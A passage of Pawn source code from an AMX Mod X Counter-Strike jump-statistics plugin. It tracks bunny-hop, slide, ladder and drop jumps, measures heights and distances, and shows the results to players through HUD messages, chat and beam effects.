				else if(bhopaem[id]==true && flags&FL_ONGROUND && get_gametime()-bhopaemtime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
			
					bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==false)
				{
					first_ground_bhopaem[id]=true;
					ground_bhopaem_time[id]=get_gametime();
				}
				else if(nextbhop[id]==true && !(flags&FL_ONGROUND) && first_ground_bhopaem[id]==true && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
				}
				
				if(nextbhop[id]==true && flags&FL_ONGROUND && first_ground_bhopaem[id]==true && (get_gametime()-ground_bhopaem_time[id]>0.1) && movetype[id] != MOVETYPE_FLY)
				{
					first_ground_bhopaem[id]=false;
					bhopaem[id]=false;
					nextbhop[id]=false;
				}
				
				if(nextbhop[id]==true && !(flags&FL_ONGROUND) && movetype[id] != MOVETYPE_FLY)
				{
					nextbhoptime[id]=get_gametime();
				}
				if(nextbhop[id]==true && flags&FL_ONGROUND && get_gametime()-nextbhoptime[id]>0.1 && movetype[id] != MOVETYPE_FLY)
				{
					nextbhop[id]=false;
				}
				if(flags & FL_ONGROUND && h_jumped[id]==false && movetype[id] != MOVETYPE_FLY)
				{
					heightoff_origin[id]=0.0;
				}
				
				if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_BACK && backwards[id]==false)
				{
					backwards[id]=true;
				}
				else if(!g_Jumped[id] && flags & FL_ONGROUND && button&IN_FORWARD && backwards[id])
				{
					backwards[id]=false;
				}
				
				if(flags & FL_ONGROUND && button&IN_JUMP && !(oldbuttons&IN_JUMP) && movetype[id] != MOVETYPE_FLY)
				{
					if(is_user_ducking(id))
					{
						heightoff_origin[id]=origin[2]+18;
					}
					else heightoff_origin[id]=origin[2];
					
					h_jumped[id]=true;
				}
				else if(flags & FL_ONGROUND && h_jumped[id] && movetype[id] != MOVETYPE_FLY)
				{
					new Float:heightland_origin;
					if(is_user_ducking(id))
					{
						heightland_origin=origin[2]+18;
					}
					else heightland_origin=origin[2];
					
					
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{	
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									set_hudmessage(prest_r,prest_g, prest_b, stats_x, stats_y, 0, 0.0, 0.7, 0.1, 0.1, h_stats);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]))
						{
							if(height_show[i]==true )
							{
								if(heightland_origin-heightoff_origin[id]==0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH1");
								}
								else if(heightland_origin-heightoff_origin[id]>0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH2",heightland_origin-heightoff_origin[id]);
								}
								else if(heightland_origin-heightoff_origin[id]<0.0)
								{
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_FJHEIGH3",floatabs(heightland_origin-heightoff_origin[id]));
								}
							}
						}
					}
					h_jumped[id]=false;
				}
				
				if((movetype[id] != MOVETYPE_FLY))	
				{
					if(firstfr[id]==false)
					{
						firstfr[id]=true;
						pev(id, pev_velocity, velocity);
						pev(id, pev_origin, origin);
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							firstvel[id]=velocity[2];
						}
						firstorig[id]=origin;
					}
					else if(firstfr[id]==true )
					{
						pev(id, pev_origin, origin);
						pev(id, pev_velocity, velocity);
			
						secorig[id]=origin;
						if((g_Jumped[id]==true || !(flags&FL_ONGROUND)))
						{
							secvel[id]=velocity[2];
						}
						firstfr[id]=false;	
					}
					if(!(flags&FL_ONGROUND) && first_air[id]==false)
					{
						framecount[id]++;
						if(framecount[id]==2)
						{
							first_air[id]=true;
						}
						
						SurfFrames[id]=floatabs(firstvel[id]-secvel[id]);
						
						if(floatabs(firstvel[id]-secvel[id])>41)
						{
							SurfFrames[id]=oldSurfFrames[id];
						}
						oldSurfFrames[id]=SurfFrames[id];
					}
					if(flags&FL_ONGROUND && first_air[id]==true)
					{
						first_air[id]=false;
						framecount[id]=0;
					}
					if(!(flags&FL_ONGROUND) && SurfFrames[id]<7.9 && uq_fps==1 && fps_hight[id]==false)
					{
						fps_hight[id]=true;
					}
					if((flags&FL_ONGROUND) && SurfFrames[id]>7.9 && fps_hight[id])
					{
						fps_hight[id]=false;
					}
			
					if(!(flags&FL_ONGROUND) && 1.7*floatabs(firstvel[id]-secvel[id])<SurfFrames[id] && floatabs(firstvel[id]-secvel[id])!=4.0)
					{
						if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
						{
							slide[id]=true;
						}
						else if(!ladderjump[id] && movetype[id] != MOVETYPE_FLY)
						{
							find_sphere_class (id, "func_ladder",200.0, entlist1, 1);
							if(!entlist1[0])
							{
								JumpReset(id,30);
								slide_protec[id]=true;
								return FMRES_IGNORED;
							}
						}
					}
					else 
					{
						if(slide[id]==true && ((oldbuttons&IN_MOVELEFT && button&IN_MOVERIGHT) || (oldbuttons&IN_MOVERIGHT && button&IN_MOVELEFT)))
						{
							if(touch_ent[id])
							{
								JumpReset(id,102);
							}
							
							if(task_exists(id)) remove_task(id);
							
							set_task(1.5,"JumpReset1", id);
							
							pev(id, pev_origin, origin);
							
							slidim[id]=true;
							jump_type[id]=Type_Slide;
							
							g_Jumped[id]	= true;
							prestrafe[id]	= speed[id];
			
							if(showpre[id]==true)
							{
								set_hudmessage(255,255, 255, -1.0, 0.85, 0, 0.0, 0.7, 0.1, 0.1, 2);
								show_hudmessage(id, "Slide pre: %.03f",speed);
							}
							slide[id]=false;
						}
					}
					
					firstorig[id][2]=0.0;
					secorig[id][2]=0.0;
					
					if((slidim[id]==true || slide[id]==true) && get_distance_f(firstorig[id],secorig[id])>20.0)
					{
						groundslide[id]=0.0;
						waits[id]=0;
						slidim[id]=false;
						taskslide[id]=0;
						failslide[id]=false;
						slide[id]=false;
						g_Jumped[id]	= false;
						
						return FMRES_IGNORED;
					}
					
					if((g_Jumped[id]==true || h_jumped[id]) && get_distance_f(firstorig[id],secorig[id])>6.0)
					{
						h_jumped[id]=false;
						JumpReset(id,31);
						return FMRES_IGNORED;
					}
				}
				if(slidim[id]==true)
				{
					
					//if(Pmaxspeed != 250.0)
					//{
					//	client_print(id,print_center,"Slide works only withs weapons 250.0 speed"); 
					//	return FMRES_IGNORED;
					//}
					
					pev(id, pev_origin, origin);
					new Float:start[33][3],Float:end[33][3];
					
				
					start[id][0]=origin[0];
					start[id][1]=origin[1]+16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]+16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][0]);
			
					start[id][0]=origin[0];
					start[id][1]=origin[1]-16.0;
					start[id][2]=origin[2];
					end[id][0]=origin[0];
					end[id][1]=origin[1]-16.0;
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][1]);
					
					start[id][0]=origin[0]+16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]+16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][2]);
					
					start[id][0]=origin[0]-16.0;
					start[id][1]=origin[1];
					start[id][2]=origin[2];
					end[id][0]=origin[0]-16.0;
					end[id][1]=origin[1];
					end[id][2]=origin[2]-500.0;
					
					engfunc(EngFunc_TraceLine, start[id], end[id], IGNORE_GLASS, id, 0); 
					get_tr2( 0, TR_vecEndPos, slidez[id][3]);
					
					for(new i=0;i<4;i++)
					{		
						if(i!=3)
						{
							if(slidez[id][i][2]>slidez[id][i+1][2])
							{
								needslide[id]=slidez[id][i][2];
								groundslide[id]=slidez[id][i+1][2];
							
								if(needslide[id]-groundslide[id]>149.0 && landslide[id]==false)
								{
									landslide[id]=true;
									pev(id, pev_origin, origin);
									if( !(is_user_ducking(id)) )
									{
										origin[2]-=36.0;
									}
									else origin[2]-=18.0;
									
									slideland[id]=origin[2];
									slidedist[id]=slideland[id]-groundslide[id];
									maxspeed[id]=speed[id];
								}
							}
						}
					}
				
					if(taskslide[id]==0)
					{
						set_task(0.4,"wait", id+3313);
						taskslide[id]=1;
					}
					
					pev(id, pev_velocity, velocity);
					if(velocity[1]==0.0 && failslide[id]==false && !(flags&FL_ONGROUND) && waits[id]==1 )
					{
						if( !(is_user_ducking(id)) )
						{
							origin[2]-=36.0;
						}
						else origin[2]-=18.0;
						failslidez[id]=origin[2];
						failslide[id]=true;			
					}
				}
				
				if(flags&FL_ONGROUND && slidim[id]==true && Pmaxspeed == 250.0)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								client_print(i, print_console, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
								set_hudmessage( stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %d.xxx",floatround(slidedist[id], floatround_floor));
							}
							else
							{
								client_print(i, print_console, "Slide Distance: %f",slidedist[id]);
								set_hudmessage(stats_r, stats_g, stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );	
								show_hudmessage( i, "Slide Distance: %f",slidedist[id]);
							
							}
						}
					}
									
					new iPlayers[32],iNum; 
					get_players ( iPlayers, iNum,"ch") ;
					for(new i=0;i<iNum;i++) 
					{ 
						new ids=iPlayers[i]; 
						if(gHasColorChat[ids] ==true || ids==id)
						{
							if(needslide[id]-groundslide[id]==slidedist[id])
							{
								ColorChat(ids, GREY, "[%s] %s jumped %d.xxx units with Slide lj!^x01%s",prefix, g_playername[id], floatround(slidedist[id], floatround_floor),airacel[id]);
							}
							else 
							ColorChat(ids, GREY, "[%s] %s jumped %.3f units with Slide lj!^x01%s",prefix, g_playername[id], slidedist[id],airacel[id]);				
						}
					}
										
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					slidim[id]=false;
					taskslide[id]=0;
					taskslide1[id]=0;
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(slideland[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(slideland[id]));
				
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
					landslide[id]=false;
				}
				if((failslide[id]==true) && slidim[id]==true)
				{
					for( new i = INFO_ONE; i < max_players; i++ )
					{
						if( (i == id || is_spec_user[i]) && g_lj_stats[i]==true)
						{
							client_print(i, print_console, "Slide Distance: %f Prestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
					
							set_hudmessage( f_stats_r, f_stats_g, f_stats_b, stats_x, stats_y, 0, 6.0, 2.5, 0.1, 0.3, h_stats );
							show_hudmessage( i, "Slide Distance: %f^nPrestrafe: %f",failslidez[id]-groundslide[id],prestrafe[id]);
						}
					}
					
					message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, {0, 0, 0}, id);
					write_byte ( TE_BEAMPOINTS );
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]));
					write_coord(floatround(failslidez[id]));
					write_coord(floatround(origin[0]));
					write_coord(floatround(origin[1]+52.0));
					write_coord(floatround(failslidez[id]));
					
					write_short(gBeam);
					write_byte(1);
					write_byte(5);
					write_byte(1130);
					write_byte(20);
					write_byte(0);
					write_byte(255);
					write_byte(0);
					write_byte(0);
					
					write_byte(200);
					write_byte(200);
					message_end();
			
					failslide[id]=false;
					slidim[id]=false;
					groundslide[id]=0.0;
					waits[id]=0;
					taskslide[id]=0;
					taskslide1[id]=0;
				}
			
				if( (in_air[id]==true || in_bhop[id] == true) && !(flags&FL_ONGROUND) )
				{
					static i;
					for( i = INFO_ZERO; i < 2; i++ )
					{
						if( (i == 1) 
						|| (frame_origin[id][i][0] == 0
						&& frame_origin[id][i][1] == 0
						&& frame_origin[id][i][2] == 0 
						&& frame_velocity[id][i][0] == 0
						&& frame_velocity[id][i][1] == 0
						&& frame_velocity[id][i][2] == 0 )) 
						{
							frame_origin[id][i][0] = origin[0];
							frame_origin[id][i][1] = origin[1];
							frame_origin[id][i][2] = origin[2];
							
							pev(id, pev_velocity, velocity);
							frame_velocity[id][i][0] = velocity[0];
							frame_velocity[id][i][1] = velocity[1];
							frame_velocity[id][i][2] = velocity[2];
							i=2;
						}
					}
					
				}
				
				if( (in_air[id]) && !( flags & FL_ONGROUND ) && !failed_jump[id])
				{	
					if(uq_script_detection)
					{
						new Float:angles[3];
						pev(id,pev_angles,angles);
						
						if(floatabs(angles[0]-old_angles[id][0])==0.0)
						{
							angles_arry[id]++;
						}
						//if()
						//{
						//	angles_arry1[id]++;
						//}
						
						//client_print(id,print_chat,"%f",floatabs(vector_length(angles)-vector_length(old_angles[id])));	
					
						old_angles[id]=angles;
					}
					
					new Float:jh_origin;
					
					jh_origin=origin[2];
					
					if(floatabs(jumpoff_origin[id][2]-jh_origin)<oldjump_height[id] && jheight[id]==0.0)
					{
						
						if(is_user_ducking(id))
						{
							jheight[id]=oldjump_height[id]+18.0;
						}
						else jheight[id]=oldjump_height[id];
						
						for( new i = INFO_ONE; i < max_players; i++ )
						{
							if( (i == id || is_spec_user[i]))
							{	
								if(jheight_show[i]==true )
								{
									set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
									show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
									
									client_print( i, print_console,"%L",LANG_SERVER,"UQSTATS_PRE39",jheight[id]);
								}
							}
						}
						
						if(!direct_for_strafe[id])
						{
							if(velocity[1]>0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=1;
							}
							else if(velocity[1]<0 && floatabs(velocity[1])>floatabs(velocity[0]))
							{
								direct_for_strafe[id]=2;
							}
							else if(velocity[0]>0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=3;
							}
							else if(velocity[0]<0 && floatabs(velocity[0])>floatabs(velocity[1]))
							{
								direct_for_strafe[id]=4;
							}
						}
					}
					
					
					
					oldjump_height[id]=floatabs(jumpoff_origin[id][2]-origin[2]);
					
					if(bug_check[id]==0 && floatfract(velocity[2])==0)
					{
						bug_check[id]=1;
					}
					else if(bug_check[id]==1 && floatfract(velocity[2])==0)
					{
						bug_true[id]=true;
						bug_check[id]=0;
					}
					if( !in_bhop[id] )
					{
						fnSaveBeamPos( id );
					}
					static Float:old_speed[33];
					if( speed[id] > old_speed[id] )
					{
						frames_gained_speed[id]++;
					}
					frames[id]++;
					
					old_speed[id] = speed[id];
			
					if( speed[id] > maxspeed[id] )
					{
						if (strafe_num[id] < NSTRAFES)
						{
							strafe_stat_speed[id][strafe_num[id]][0] += speed[id] - maxspeed[id];
						}
						maxspeed[id] = speed[id];
					}
					if ((speed[id] < TempSpeed[id]) && (strafe_num[id] < NSTRAFES))
					{
						strafe_stat_speed[id][strafe_num[id]][1] += TempSpeed[id] - speed[id];
						if(strafe_stat_speed[id][strafe_num[id]][1]>5)
						{
							if(floatabs(firstvel[id]-secvel[id])<SurfFrames[id]-0.1)
							{
								Checkframes[id]=true;
							}
							else if(floatabs(firstvel[id]-secvel[id])>SurfFrames[id])
							{
								Checkframes[id]=true;
							}
						}
						
						
					}
					TempSpeed[id] = speed[id];
					
					if((origin[2] + 18.0 - jumpoff_origin[id][2] < 0))
					{
						failed_jump[id] = true;
					}
					else if( (is_user_ducking(id) ? (origin[2]+18) : origin[2]) >= jumpoff_origin[id][2] )
					{
						failed_origin[id] = origin;
						failed_ducking[id] = is_user_ducking( id );
						failed_velocity[id] = velocity;
						
						origin[2] = pre_jumpoff_origin[id][2];	
					}
					if( first_frame[id] ) 
					{
						first_frame[id] = false;
						frame_velocity[id][0] = velocity;
						
						gBeam_count[id] = 0;
						for( new i = 0; i < 100; i++ )
						{
							gBeam_points[id][i][0]	= 0.0;
							gBeam_points[id][i][1]	= 0.0;
							gBeam_points[id][i][2]	= 0.0;
							gBeam_duck[id][i]	= false;
							gBeam_button[id][i]=false;
						}
						
						if(in_bhop[id] && jump_type[id]!=Type_DuckBhop)
						{
							if(upBhop[id])
							{
								if(jump_type[id]==Type_Up_Bhop_In_Duck)
								{
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBID");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBID");
								}
								else if(velocity[2] < upbhop_koeff[id])
								{
									jump_type[id]=Type_Up_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_UBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_UBJ");
								}
								else
								{
									jump_type[id]=Type_Up_Stand_Bhop;
									formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_USBJ");
									formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_USBJ");
								}
								upBhop[id]=false;
							}
							else if(jump_type[id]==Type_Bhop_In_Duck)
							{
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BID");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BID");
							}
							else if( velocity[2] < 229.0)
							{
								jump_type[id] = Type_BhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_BJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_BJ");
							}
							else 
							{
							
								jump_type[id] = Type_StandupBhopLongJump;
								formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_SBJ");
								formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_SBJ");
								jumpoff_origin[id][2] = pre_jumpoff_origin[id][2];
							}
							
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && prestrafe[id]>min_prestrafe[id])
									{
										if((Pmaxspeed * 1.2)>prestrafe[id] )
										{
											if(jump_type[id]==Type_Up_Bhop_In_Duck && (uq_upbhopinduck==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE33",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Bhop && (uq_upbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE34",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Up_Stand_Bhop && (uq_upsbj==1 ))
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE35",prestrafe[id]);
											}
											else if(jump_type[id]==Type_Bhop_In_Duck   &&  uq_bhopinduck==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE36",prestrafe[id]);
											}
											else if(jump_type[id]==Type_BhopLongJump   &&  uq_bj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE37",prestrafe[id]);
											}
											else if(jump_type[id]==Type_StandupBhopLongJump  && uq_sbj==1)
											{
												set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
												show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE38",prestrafe[id]);
											}
										}
										else
										{	
											set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 1.5, 0.1, 0.1, h_prest);
											show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PREHIGH",prestrafe[id],Pmaxspeed * 1.2);
										}
									}
								}
							}
						}
						else if(jump_type[id]==Type_DuckBhop)
						{
							for( new i = INFO_ONE; i < max_players; i++ )
							{
								if( (i == id || is_spec_user[i]))
								{	
									if(showpre[i]==true && speed[id]>50.0)
									{
										if((Pmaxspeed * 1.2)>speed[id] )
										{
											if(prestrafe[id]<200)
											{
												if(jump_type[id]==Type_DuckBhop && (uq_duckbhop==1))
												{
													set_hudmessage(prest_r,prest_g, prest_b, prest_x, prest_y, 0, 0.0, 0.7, 0.1, 0.1, h_prest);
													show_hudmessage(i, "%L",LANG_SERVER,"UQSTATS_PRE32",prestrafe[id]);
												}
											}
										}
									}
								}
							}
						}
					} 
					else
					{	
						frame_velocity[id][1] = velocity;
					}
					
					if( in_bhop[id] )
						fnSaveBeamPos( id );
			
					if(detecthj[id]!=1)
					{	
						starthj[id][0] = origin[0];
						starthj[id][1] = origin[1];
						starthj[id][2] = jumpoff_origin[id][2]+28.0;
						stophj[id][0] = origin[0];
						stophj[id][1] = origin[1];
						stophj[id][2] = starthj[id][2] - 133.0; 
							
						engfunc( EngFunc_TraceLine, starthj[id], stophj[id], IGNORE_MONSTERS, id, 0 );
						get_tr2( 0, TR_vecEndPos, endhj[id]);
						
						if(starthj[id][2]-endhj[id][2]<133.0 && (starthj[id][2]-endhj[id][2]-64)!=0 && (starthj[id][2]-endhj[id][2]-64)>0 && detecthj[id]!=1)
						{
							detecthj[id]=2;
						}
						
						if(starthj[id][2]-endhj[id][2]>=133.0 && detecthj[id]!=2)
						{
							detecthj[id]=1;
						}
					}
					
					if(ddafterJump[id])
						ddafterJump[id]=false;	
				}
				
				if(notjump[id] && bhopaem[id])
				{
					notjump[id]=false;
				}
				
				if( flags&FL_ONGROUND )
				{
					surf[id]=0.0;
					if (!pev( id, pev_solid ))
					{
						static ClassName[32];
						pev(pev(id, pev_groundentity), pev_classname, ClassName, 32);
			
						if( equali(ClassName, "func_train")
							|| equali(ClassName, "func_conveyor") 
							|| equali(ClassName, "trigger_push") || equali(ClassName, "trigger_gravity"))
						{
							JumpReset(id,32);
							set_task(0.4,"JumpReset1", id);
						}
						else if(equali(ClassName, "func_door") || equali(ClassName, "func_door_rotating") )
						{
							JumpReset(id,33);
							set_task(0.4,"JumpReset1", id);	
						}
					}
					
					pev(id, pev_origin, origin);
					notjump[id]=true;
					if(is_user_ducking(id))
					{
						falloriginz[id]=origin[2]+18;
					}
					else falloriginz[id]=origin[2];
					
					if( OnGround[id] == false)
					{	
						if (dropbhop[id] || in_ladder[id] || jump_type[id] == Type_WeirdLongJump || jump_type[id]==Type_ladderBhop || jump_type[id]==Type_Drop_BhopLongJump)
						{
							FallTime[id]=get_gametime();
							
						}
						OnGround[id] = true;
					}
				}
				
				if( !(flags&FL_ONGROUND) && notjump[id]==true && (movetype[id] != MOVETYPE_FLY) && jump_type[id]!=Type_ladderBhop )//&& jump_type[id] != Type_Drop_CountJump)
				{	
					pev(id, pev_origin, origin);
			
					OnGround[id] = false;
					
					pev(id, pev_velocity, velocity);
					
					new Float:tempfall;
					
					if(is_user_ducking(id))
					{
						tempfall=origin[2]+18;
					}
					else tempfall=origin[2];
					
					if( falloriginz[id]-tempfall>1.0 && !cjjump[id] && (ddforcj[id] || jump_type[id] == Type_Drop_CountJump || jump_type[id] == Type_StandUp_CountJump || jump_type[id] == Type_None || jump_type[id] == Type_CountJump || jump_type[id] == Type_Multi_CountJump || jump_type[id] == Type_Double_CountJump))
					{
						oldjump_type[id]=0;
			
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_WJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_WJ");
						
						if(ddforcj[id])
						ddforcj[id]=false;
						
						jump_type[id] = Type_WeirdLongJump;
						
					}
					
					if (velocity[2] == -240.0)
					{
						oldjump_type[id]=0;
						ddbeforwj[id]=true;
						jump_type[id] = Type_WeirdLongJump;
						
						
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DDWJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DDWJ");
					}
				}
				else if(!(flags&FL_ONGROUND) && notjump[id]==false && (movetype[id] != MOVETYPE_FLY) && in_ladder[id]==false && jump_type[id] != Type_Slide)
				{
					oldjump_type[id]=0;
					OnGround[id] = false;
			
					pev(id, pev_velocity, velocity);
					pev(id, pev_origin, origin);
					
					new Float:drbh;
					if(is_user_ducking(id))
					{
						drbh=origin[2]+18;
					}
					else drbh=origin[2];
			
					if(dropbjorigin[id][2]-drbh>2.0)
					{
						if(dropbjorigin[id][2]-drbh<30 && jump_type[id] != Type_Drop_BhopLongJump && jump_type[id] != Type_None)
						{
							old_type_dropbj[id]=jump_type[id];
							formatex(Jtype_old_dropbj[id],32,Jtype[id]);
							formatex(Jtype_old_dropbj1[id],32,Jtype1[id]);
						}
						
						jump_type[id] = Type_Drop_BhopLongJump;
						formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_DRBJ");
						formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_DRBJ");
						nextbhop[id]=false;
						bhopaem[id]=false;
						dropbhop[id]=true;
					}
				}
				
				if( movetype[id] == MOVETYPE_FLY) 
				{
					OnGround[id] = false;
					firstvel[id]=8.0;
					secvel[id]=0.0;
					checkladdertime[id]=get_gametime();
				}
				if( movetype[id] == MOVETYPE_FLY && firstladder[id]==false) 
				{
					firstladder[id]=true;
					nextbhop[id]=false;
					bhopaem[id]=false;
					h_jumped[id]=false;
					JumpReset(id,34);
					return FMRES_IGNORED;
				}
				if( movetype[id] != MOVETYPE_FLY && firstladder[id]==true && flags&FL_ONGROUND) 
				{
					firstladder[id]=false;
				}
				if( (movetype[id] == MOVETYPE_FLY) &&  (button&IN_FORWARD || button&IN_BACK || button&IN_LEFT || button&IN_RIGHT ) )
				{
					ladderjump[id]=true;
					find_sphere_class (id, "func_ladder",18.0, entlist1, 1);
					
					if(entlist1[0]!=0)
					{
						for(new i=0;i<nLadder;i++)
						{
							if(entlist[i]==entlist1[0])
							{
								nashladder=i;	
							}
						}
					}
			
					prestrafe[id]	= speed[id];
					maxspeed[id]	= speed[id];
				}
				
				if( (movetype[id] == MOVETYPE_FLY) &&  button&IN_JUMP )
				{
					jump_type[id]=Type_ladderBhop;
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDBJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDBJ");
					ladderjump[id]=false;
					in_air[id]=false;
					in_ladder[id]=false;
					bhopaem[id]=false;
					notjump[id]=true;
					dropbhop[id]=false;		
				}
				
				if( movetype[id] != MOVETYPE_FLY && ladderjump[id]==true)
				{
					if(touch_ent[id])
					{
						JumpReset(id,103);
					}
					notjump[id]=true;
					dropbhop[id]=false;
					pev(id, pev_origin, origin);
					jumpoff_origin[id] = origin;
					jumpoff_origin[id][2]=ladderxyz[nashladder][2]+35.031250;
					
					jumpoff_time[id] = get_gametime( );
					strafecounter_oldbuttons[id] = INFO_ZERO;
					
					jump_type[id]=Type_ladder;
					laddertime[id]=get_gametime();
			
					formatex(Jtype[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE_LDJ");
					formatex(Jtype1[id],32,"%L",LANG_SERVER,"UQSTATS_JTYPE1_LDJ");
					
					if(laddersize[nashladder][0]<=laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][0]+0.03125;
					}
					else if(laddersize[nashladder][0]>laddersize[nashladder][1])
					{
						laddist[id]=laddersize[nashladder][1]+0.03125;
					}
					
					if(laddist[id]>10)
					{
						laddist[id]=4.0;
					}
					ladderjump[id]=false;	
					TempSpeed[id] = 0.0;
					static i;
					for( i = INFO_ZERO; i < NSTRAFES; i++ )
					{
						strafe_stat_speed[id][i][0] = 0.0;
